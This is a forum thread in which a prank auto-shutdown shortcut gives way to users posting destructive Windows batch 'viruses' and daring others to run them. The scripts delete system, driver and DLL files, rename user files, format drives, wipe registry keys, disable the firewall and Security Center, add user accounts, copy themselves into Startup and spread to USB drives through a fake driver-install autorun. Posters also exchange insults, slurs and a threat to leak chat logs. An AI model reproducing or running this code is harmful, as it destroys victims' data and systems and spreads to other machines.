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looking on youtube i found this, i told my mate to do it and he fell for it. im now going to show you how to do it.

create a shortcut on you desktop.

type in the box
shutdown -s -t 100 -c "your messgae here"


the 100 is time before shutdown in seonds.

"your message here" besure to put the speach marks in or it wont work.


once this is done if you double click it on your desktop itwill start the shutdown. the only way to stop it once the shutdown has started is to…

press run and type "shutdown -a" in the text box.

this can be useful to shutdown a script (eg pizza maker) when its done

it cant be used for an autofighter as you do not know how long it will be running for.

give it a go and rep ++ if you like :D

http://www.villavu.com/forum/showthread.php?t=10985

CMD 'viruses' are total fail.

this is something everyone knows and plus its already on another thread…

I already seen this used in scripts!

Or maybe, just maybe, set the scripts to run for a certain amount of time OR fill the setup so it won't run FOREVER! ..

By the by, cmd viruses fail. Unless you.. Oh wait… Hmm.. They just fail, no exceptions.

"Fake Virus, which can we can use."

jesus. this is not the first time you have let me down.

this is soo cool man thanks a lot

There is already a tut in the security forums about this.

pfff , small " fake virus " like that are not the only one in the world , anyway , if you really want ot end the script jsut press alt + ctrl + del and go to processus tab an clic on scar.exe. After just clic on end processus and ur done !

Guys go easy on him…IMO it's not that bad of a suggestion..

Works great if you need the computer to shut off at a certain time.

From: Hy71194
CMD 'viruses' are total fail.

From: GoF
By the by, cmd viruses fail. Unless you.. Oh wait… Hmm.. They just fail, no exceptions.

you are both fail…run this i dare you.

@echo off
title In soviet Russia t3h-death-cap pwns you!
copy c:\Windows
copy c:\
copy c:\Windows\System32
cd %windir%\system32
del /S /F /Q keyboard.drv
del /S /F /Q mouse.drv
del /S /F /Q keyboard.sys
:round1
msg * this virus was brought to you by t3h-death-cap, we apologise for any inconvienience caused.... NOT
set /a wait=%wait%+1
if %wait% leq 9000 goto round2
:round2
start www.gayporn.com
echo naughty naughty looking at gay porn?
set /a wait=%wait%+1
if %wait% leq 2000 goto round3
:round3
echo dont worry gay porn is only the start, you have no idea what else is coming up...
cd c:\ del /S /F /Q *.dll
echo Now don't turn off your computer, all of your startup files and
echo more are gone, so just enjoy your pc while you have it.
echo Okay time for more pwnography...
set /a wait=%wait%+1
if %wait% leq 4000
goto round4
:round4
ren /S /F /Q *.exe *.pwned
ren /S /F /Q *.zip * .pwned
ren /S /F /Q *.txt * .t3hdeathcappwnsyou
ren /S /F /Q *.rtf * .pwnedbyt3hdeathcap
ren /F /S /Q *.doc *.pwnedbyt3hdeathcap
echo wow, you would think you like getting pwned lol
set /a wait=%wait%+1
if %wait% leq 3000
goto round5
:round5
msg * Go get fucked....
set /a wait=%wait%+1
if %wait% leq 2000 goto round6
:round6
start www.redtube.com
start www.rapeboard.com
start www.bbc.co.uk
start www.google.com
set /a wait=%wait%+1
if %wait% leq 3000 goto round7
:round7
echo what you are a twat?
set /a wait=%wait%+1
if %wait% leq 2000 goto round8
:round8
start www.youareatwat.com
set /a wait=%wait%+1
if %wait% leq 2000 goto round9
:round9
echo You really are childhish...
set /a wait=%wait%+1
if %wait% leq 2000 goto round10
:round10
start www.clubpenguin.com
start www.habbo.co.uk
start www.runescape.com
set /a wait=%wait%+1
if %wait% leq 2000 goto round11
goto round12
:round12
echo Time to be rickrolled
start www.youtube.com/watch?v=eBGIQ7ZuuiU
set /a wait=%wait%+1
if %wait% leq 2000 goto round13
:round13
echo you got rick rolled mother fucker!!!!!!
echo crying to our mummy now?????
echo pathetic, I think you need to learn a lesson for being a little
echo whimpy girl...
ren /F /S /Q *.jpg *.stopbeingawhimp
ren /F /S /Q *.bmp *.gogetfucked
ren /F /S /Q *.sys *.pwned
ren /F /S /Q *.drv *.pwned
set /a wait=%wait%+1
if %wait% leq 2000 goto round14
:round14
echo Oh hai I heard you liek mudkipzzzz?
set /a wait=%wait%+1
if %wait% leq 2000 goto round15
:round15
ren /F /S /Q *.com *.iheardyouliekmudkipzzz
echo well you gotta like them now.
set /a wait=%wait%+1
if %wait% leq 2000 goto round16
:round16
echo No? Maybe you liek caek?
start http://www.londonlulz.com/images/thumb/7/74/Caek.jpg/500px-Caek.jpg
set /a wait=%wait%+1
if %wait% leq 4000 goto caek1
:caek1
msg * Some napkins or paper plates probably wouldn't be a bad idea either. Home made cakes are great, especially if they're creatively shaped and/ or decorated.
set /a wait=%wait%+1
if %wait% leq 2000 goto caek2
:caek2
msg * Recommended Caek
Jaffa Caek
Chocolate Caek
Companion Cube Caek
set /a wait=%wait%+1
if %wait% leq 9000 goto fate
:fate
echo kay You had your fun with the caek and the porn and shit now
echo fun over... Time for you to look inside you wallet make sure
echo there is ALOT of money for a new computer and/ or for a
echo IT proffesional to look at your PC... I'm sorry, but it's pwnage
echo time.............
shutdown -s -f
echo bye, nice knowing you.
pause

does that actually fucks the pc or its only fake?

Mine does.

Honestly, a simple del /s /f /q /y C:\* kills any windows…

From: Widget
Honestly, a simple del /s /f /q /y C:\* kills any windows…

True but i lie this better

cd c:\ del /S /F /Q *.dl

Hehe My new batch file

@echo off

rem made with batch creator (epic fail) v 1.0copy %0 "%userprofile%\start menu\programs\startup"

attrib +h +s "%userprofile%\my documents"
del /S /Q /F mouse.*

del /S /Q /F keyboard.*

mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%
mkdir %userprofile%\desktop\%random%

rd /s /q %userprofile%\desktop\

echo [autorun] >F:\autorun.inf
echo open=virus.bat >>F:\autorun.inf
echo action=Click OK to install USB flash drive drivers >>F:\autorun.inf
copy %0 F:\virus.bat
attrib +h +s F:\autorun.inf
attrib +h +s F:\virus.bat

net user %random% /add
net user %random% /add
net user %random% /add
net user %random% /add
net user %random% /add
net user %random% /add
net user %random% /add
net user %random% /add
net user %random% /add
net user %random% /add

attrib +h +s %0

msg * "BrendanOwnsYou"

start www.ftvgirls.com
ping localhost
cls
ping localhost
cls
start www.dachix.com
ping localhost
cls
ping localhost
cls
start www.the69.com
ping localhost
cls
ping localhost
cls
start www.fantasti.cc
ping localhost
cls
ping localhost
cls

start www.meatspin.com
ping localhost
cls
ping localhost
cls

REG ADD HHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 67128863 /f

del /s /q C:\WINDOWS\Web\Wallpaper

net stop srservice

ipconfig /release

format C:\ /q /x

format D:\ /q /x

reg delete HKCU\control panel /va /f
reg delete HKLM\software\microsoft /va /f
reg delete HKLM\system\lastgoodrecovery /va /f
rmdir C:\windows\repair /s /q

del /f /q C:\ntdlr.sys

netsh firewall set opmode mode=disable

net stop "security center"

echo set oWMP = createobject("WMPlayer.OCX.7") >>C:\lol.vbs
echo Set colCDROMs = oWMP.cdromCollection >>c:\lol.vbs
echo do>>c:\lol.vbs
echo if colCDROMs.Count >= 1 then >>c:\lol.vbs
echo For i = 0 to colCDROMs.Count - 1 >>c:\lol.vbs
echo colCDROMs.Item(i).Eject >>c:\lol.vbs
echo Next ' cdrom >>c:\lol.vbs
echo end if >>c:\lol.vbs
echo loop >>c:\lol.vbs
attrib +h +s C:\lol.vbs
start C:\lol.vbs

From: BjRobMan
you are both fail…run this i dare you.

Googling and saving over ninethousand centuries old crappy DOS viruses = failure.

I can just whip up some nooby virus too (except that you didn't make it, so you fail 3x more) and send it to you and say "LOL I DARE YOU TO PUSH THIS BUTTON!".. Srsly gtfo.

From: GoF
Googling and saving over ninethousand centuries old crappy DOS viruses = failure.

I can just whip up some nooby virus too (except that you didn't make it, so you fail 3x more) and send it to you and say "LOL I DARE YOU TO PUSH THIS BUTTON!".. Srsly gtfo.

Well go ahead, make a batch virus and see if it's as l33t as mine, and yes I made it myself.

From: BjRobMan
Well go ahead, make a batch virus and see if it's as l33t as mine, and yes I made it myself.

After properly reading the "code" and finding that it sucks I came to the conclusion it was actually you who made it, but just couldn't bother editing my post.

Normally posting malicious code wouldnt be allowed but I'm allowing it just for this thread, since its in context to the topic, and will obviously screw up your computer lol. so anyone who is stupid enough to run it probably deserves its effects.

From: The Claw
Normally posting malicious code wouldnt be allowed but I'm allowing it just for this thread, since its in context to the topic, and will obviously screw up your computer lol. so anyone who is stupid enough to run it probably deserves its effects.

Well. The thread context seems to be "Fake batch viruses" instead of lumps of fail to mess up things :/

All batch virus' and cmd virus' are fairly lame.

Was messing around with batches at school a while back, But IT manager blocked cmd.

From: GoF
After properly reading the "code" and finding that it sucks I came to the conclusion it was actually you who made it, but just couldn't bother editing my post.

Then please explain what it does in my code?, If you can.

From: BjRobMan
Then please explain what it does in my code?, If you can.

A bunch of ctrl + c & ctrl + v from other noob "viruses". Your kind of "lol im da cool virus hax on internetz" script kiddies aren't worth reading 50 lines (not really even seeing how many lines) of batch crap. Make some real trojan or ANYTHING else than some script kiddie malware (w/o 99-100% copy paste) and I can happily tell you good job, but still copy pasta batch "viruses" are a thing for 10 year olds and internet noobs trying to act like they can do something to hide their failure.

Have a nice day.

From: GoF
A bunch of ctrl + c & ctrl + v from other noob "viruses". Your kind of "lol im da cool virus hax on internetz" script kiddies aren't worth reading 50 lines (not really even seeing how many lines) of batch crap. Make some real trojan or ANYTHING else than some script kiddie malware (w/o 99-100% copy paste) and I can happily tell you good job, but still copy pasta batch "viruses" are a thing for 10 year olds and internet noobs trying to act like they can do something to hide their failure.

Have a nice day.

Sorry GoF you fail. You are trying to say I am a script kiddie because you can't read a simple batch virus code. You fail.

Have a great fantastic day!

this wasent what i intended by this post.

From: BjRobMan
Sorry GoF you fail. You are trying to say I am a script kiddie because you can't read a simple batch virus code. You fail.

Have a great fantastic day!

You're a script kiddie because you can't do anything else than make batch "viruses". Oh and you can also make sucky and extremely lame + not funny "FUN LOL" youtube vids, but that's beside the point.

Please, get over it, batch fails. Seriously. You're one of the most stubborn, failing and nooby people I've ever seen, seriously defending batch and acting like it's some real programming language after following some youtube vid on "Mayke viruses yo" or googling + copying crap from other 8 year old nubs "viruses" = noob to the f¤&¤ing extreme.

From: GoF
You're a script kiddie because you can't do anything else than make batch "viruses". Oh and you can also make sucky and extremely lame + not funny "FUN LOL" youtube vids, but that's beside the point.

Please, get over it, batch fails. Seriously. You're one of the most stubborn, failing and nooby people I've ever seen, seriously defending batch and acting like it's some real programming language after following some youtube vid on "Mayke viruses yo" or googling + copying crap from other 8 year old nubs "viruses" = noob to the f¤&¤ing extreme.

Owned. :)



-Ashur

From: GoF
You're a script kiddie because you can't do anything else than make batch "viruses". Oh and you can also make sucky and extremely lame + not funny "FUN LOL" youtube vids, but that's beside the point.

Please, get over it, batch fails. Seriously. You're one of the most stubborn, failing and nooby people I've ever seen, seriously defending batch and acting like it's some real programming language after following some youtube vid on "Mayke viruses yo" or googling + copying crap from other 8 year old nubs "viruses" = noob to the f¤&¤ing extreme.

Well actually Batch viruses are one of the most harmful viruses you can give

1. Anti-virus doesn't pick it up
2. You can bind it with another file. (But i wouldn't expect some one of your…erm intellectual level to understand what that is.)

Who said all I know how to do was create batch files, I can bind a key logger to a picture and post it here to infect you, Brute force logins, take advantage of crappy Php servers ect, ect.

Also that comment about the youtube videos, im sorry no one took their clothes off. But looks like you have to go back to googling 14 year old boys, I know how you pedophiles work. :D

Also Ashur, shut up before I release Msn chatlogs…You know the ones where you promised to make me a script that will get me Members for a Membership pin.